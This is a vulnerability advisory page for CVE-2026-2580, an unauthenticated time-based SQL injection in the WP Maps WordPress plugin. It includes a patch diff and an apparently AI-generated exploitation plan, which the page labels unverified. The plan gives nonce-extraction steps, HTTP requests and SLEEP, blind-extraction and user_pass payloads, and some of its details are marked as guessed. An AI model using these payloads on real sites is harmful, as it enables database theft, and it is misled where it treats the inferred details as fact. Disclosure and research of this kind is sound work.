CVE-2026-2580

WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters <= 4.9.1 - Unauthenticated SQL Injection via 'orderby' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.9.2
Patched in
1d
Time to patch

Description

The WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters plugin for WordPress is vulnerable to time-based SQL Injection via the ‘orderby’ parameter in all versions up to, and including, 4.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.9.1
PublishedMarch 22, 2026
Last updatedMarch 22, 2026
Affected pluginwp-google-map-plugin

What Changed in the Fix

Changes introduced in v4.9.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2580 (WP Maps SQL Injection) ## 1. Vulnerability Summary The **WP Maps – Store Locator** plugin (versions <= 4.9.1) contains an unauthenticated time-based SQL injection vulnerability in its AJAX handling logic. The vulnerability exists because the `orderby` pa…

Show full research plan

Exploitation Research Plan: CVE-2026-2580 (WP Maps SQL Injection)

1. Vulnerability Summary

The WP Maps – Store Locator plugin (versions <= 4.9.1) contains an unauthenticated time-based SQL injection vulnerability in its AJAX handling logic. The vulnerability exists because the orderby parameter is processed using sanitize_text_field() but is subsequently concatenated directly into a SQL ORDER BY clause without being passed through $wpdb->prepare(). Since sanitize_text_field() does not strip SQL-significant characters like commas or parentheses, an attacker can append complex SQL expressions, including sleep-based payloads.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpgmp_get_all_locations (Inferred AJAX action based on plugin functionality)
  • Vulnerable Parameter: orderby
  • Authentication: Unauthenticated (uses wp_ajax_nopriv_wpgmp_get_all_locations)
  • Preconditions:
    • At least one map must be created and published.
    • A valid nonce is required for the request (exposed via frontend scripts).

3. Code Flow

  1. Entry Point: A POST or GET request is sent to admin-ajax.php with action=wpgmp_get_all_locations.
  2. Action Routing: The wp_ajax_nopriv_wpgmp_get_all_locations hook triggers the handler (likely inside classes/wpgmp-locations.php or the main plugin file).
  3. Data Processing: The handler retrieves parameters from $_REQUEST. It may call WPGMP_Security::wpgmp_sanitize_shortcode_atts() or WPGMP_Security::wpgmp_sanitize_array().
  4. Insufficient Sanitization: Inside classes/wpgmp-security.php, the wpgmp_sanitize_shortcode_atts() function treats the orderby parameter (under the default case) with sanitize_text_field().
    • Quote from classes/wpgmp-security.php:
      case 'show':
      case 'category':
      default:
          $sanitized[ $clean_key ] = sanitize_text_field( $value );
          break;
      
  5. SQL Sink: The "sanitized" orderby string is concatenated into a raw SQL query:
    $query = "SELECT ... FROM ... ORDER BY " . $data['orderby'];
    $results = $wpdb->get_results($query);
    
  6. Execution: The database executes the malicious ORDER BY clause, triggering the time delay.

4. Nonce Acquisition Strategy

The plugin enqueues a script that localizes a nonce for the map frontend.

  1. Shortcode Identification: The plugin uses the shortcode [wp_google_map] to render maps.
  2. Setup:
    • Create a map using WP-CLI or the UI.
    • Create a page containing the shortcode: wp post create --post_type=page --post_status=publish --post_content='[wp_google_map id="1"]'.
  3. Navigation: Use browser_navigate to visit the newly created page.
  4. Extraction: Use browser_eval to extract the nonce from the localized JavaScript object.
    • The variable name is typically wpgmp_local (inferred).
    • Command: browser_eval("window.wpgmp_local?.nonce")
  5. Fallback: If wpgmp_local is not found, search the page source for any object containing a nonce key near the string admin-ajax.php.

5. Exploitation Strategy

Step 1: Baseline Request

Confirm the endpoint responds normally.

  • Request:
    POST /wp-admin/admin-ajax.php
    Content-Type: application/x-www-form-urlencoded
    
    action=wpgmp_get_all_locations&nonce=[EXTRACTED_NONCE]&map_id=1
    

Step 2: Time-Based Injection Probe

Inject a sleep command into the orderby parameter.

  • Payload: (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Request:
    POST /wp-admin/admin-ajax.php
    Content-Type: application/x-www-form-urlencoded
    
    action=wpgmp_get_all_locations&nonce=[EXTRACTED_NONCE]&map_id=1&orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a)
    
  • Expected Response: The server should take approximately 5 seconds to respond.

Step 3: Data Extraction (Blind)

To extract the database version:

  • Payload: (CASE WHEN (SUBSTRING(VERSION(),1,1)='5') THEN 1 ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)

6. Test Data Setup

  1. Create Map:
    • wp eval "WPGMP_Helper::save_map(array('map_title' => 'Test Map'));" (This is an example; exact map creation may require checking the WPGMP_Model_Map class).
  2. Create Locations: Ensure at least one location exists so the query returns results.
    • wp eval "WPGMP_Helper::save_location(array('location_title' => 'Test Location', 'location_lat' => '0', 'location_lng' => '0'));"
  3. Publish Shortcode:
    • wp post create --post_type=page --post_title='Map Page' --post_content='[wp_google_map id="1"]' --post_status='publish'

7. Expected Results

  • A standard request returns a JSON object containing location data quickly (< 500ms).
  • A malicious request with SLEEP(5) results in a delayed HTTP response (approx. 5000ms).
  • If the plugin's debug mode is on, $wpdb->last_error might reflect syntax errors if the payload is slightly malformed, allowing for error-based injection.

8. Verification Steps

  1. Time Profiling: Use the http_request tool's response time to confirm the delay.
  2. Database State: No state changes are expected (this is a SELECT injection).
  3. Log Review: Check wp-content/debug.log (if WP_DEBUG_LOG is on) for SQL syntax errors which confirm the orderby parameter reached the query.

9. Alternative Approaches

  • Action Discovery: If wpgmp_get_all_locations fails, grep the plugin directory for other wp_ajax_nopriv_ hooks:
    grep -r "wp_ajax_nopriv_" .
  • Parameter Variation: Try passing orderby via GET if POST is filtered.
  • Boolean-Based: If SLEEP is disabled on the DB, use ORDER BY to sort the results differently based on a condition:
    orderby=IF(SUBSTR(user_pass,1,1)='a', location_title, location_id)
    Then compare the order of elements in the returned JSON.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Maps plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'orderby' parameter. This occurs because the plugin relies on sanitize_text_field() for the 'orderby' input and subsequently concatenates it directly into a SQL ORDER BY clause without using $wpdb->prepare() or whitelisting.

Vulnerable Code

// classes/wpgmp-security.php line 42
public static function wpgmp_sanitize_shortcode_atts( $atts ) {

// ... lines 64-68
                    case 'show':
                    case 'category':
                    default:
                        // SANITIZATION: For general text like category name, use sanitize_text_field().
                        // This core function checks for invalid UTF-8, strips tags, and removes extra whitespace.
                        $sanitized[ $clean_key ] = sanitize_text_field( $value );
                        break;
                }
            }

Security Fix

--- classes/wpgmp-security.php
+++ classes/wpgmp-security.php
@@ -63,6 +63,10 @@
                         $sanitized[ $clean_key ] = self::wpgmp_sanitize_boolean_value( $value );
                         break;
                         
+                    case 'orderby':
+                         $sanitized[ $clean_key ] = sanitize_sql_orderby( $value );
+                         break;
+
                     case 'show':
                     case 'category':
                     default:

Exploit Outline

1. Access a public page on the target site where a map is displayed to locate the 'wpgmp_local' (or similar) JavaScript object. 2. Extract the security nonce from this object (e.g., `window.wpgmp_local.nonce`). 3. Construct a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `wpgmp_get_all_locations`. 4. Include the extracted nonce in the `nonce` parameter and a map ID in the `map_id` parameter. 5. Inject a time-based SQL payload into the `orderby` parameter, such as `(SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 6. Observe the server response time; a delay of approximately 5 seconds confirms the injection is successful.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.